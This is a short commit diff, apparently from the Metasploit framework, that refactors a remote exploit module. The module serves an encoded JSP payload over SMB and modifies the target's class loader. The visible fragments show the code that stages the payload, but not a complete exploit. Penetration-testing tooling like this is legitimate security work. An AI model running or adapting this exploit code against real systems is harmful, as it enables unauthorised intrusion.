Update a couple of modules for the new SMB server
This commit is contained in:
@@ -85,7 +85,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
OptInt.new('SMB_DELAY', [true, 'Time that the SMB Server will wait for the payload request', 10])
|
||||
])
|
||||
|
||||
deregister_options('SHARE', 'FILE_NAME', 'FOLDER_NAME', 'FILE_CONTENTS')
|
||||
deregister_options('SHARE', 'FILE_NAME', 'FOLDER_NAME')
|
||||
end
|
||||
|
||||
def jsp_dropper(file, exe)
|
||||
@@ -217,10 +217,15 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
end
|
||||
end
|
||||
|
||||
# Used with SMB targets
|
||||
def primer
|
||||
def setup
|
||||
super
|
||||
|
||||
self.file_name << '.jsp'
|
||||
self.file_contents = payload.encoded
|
||||
end
|
||||
|
||||
# Used with SMB targets
|
||||
def primer
|
||||
print_status("JSP payload available on #{unc}...")
|
||||
|
||||
print_status("Modifying Class Loader...")
|
||||
@@ -300,4 +305,3 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
modify_class_loader(properties)
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
Reference in New Issue
Block a user